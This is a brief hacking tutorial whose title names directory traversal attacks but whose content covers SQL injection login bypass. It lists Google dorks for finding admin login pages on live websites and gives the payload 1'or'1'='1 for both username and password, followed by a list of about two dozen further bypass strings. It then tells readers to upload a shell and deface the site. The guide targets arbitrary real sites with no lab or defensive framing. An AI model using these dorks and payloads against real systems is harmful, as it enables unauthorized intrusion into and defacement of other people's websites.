An Introduction To ” Directory Traversal Attacks “

 

 

 

You might have seen hackers hacking and defaceing websites, editing it with their own stuff, makeing post on websites etc. There are many methods of doing this, In this tutorial I will be showing you a very basic and simply SQLi (Structured Query Language Injection).  I will show you how to find the websites admin panel using a simple google dork and a SQL query to bypass the admin user name and password and enter into the panel. When you are in the panel just find a upload option and upload your shell, then deface it.

Dorks: inurl:adminlogin.aspx
            inurl:admin/index.php
            inurl:administrator.php
inurl:administrator.asp
            inurl:login.asp
            inurl:login.aspx
            inurl:login.php
            inurl:admin/index.php
            inurl:adminlogin.aspx


# Try to make your own dorks also to get more success rate.


Hundreds of sites will open up having /adminlogin.aspx in their URL. Select any website, you will get the area from where the admins login. Fill the details as:
User: 1’or’1’=’1
Password: 1’or’1’=’1

Use the above mentioned login details and you will be into the admin panel of a website. I will not work for all the websites you will find, but will work on most of the website.

Other InjecTion Queries:
‘ or 1=1 –
1’or’1’=’1
admin’–
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”)

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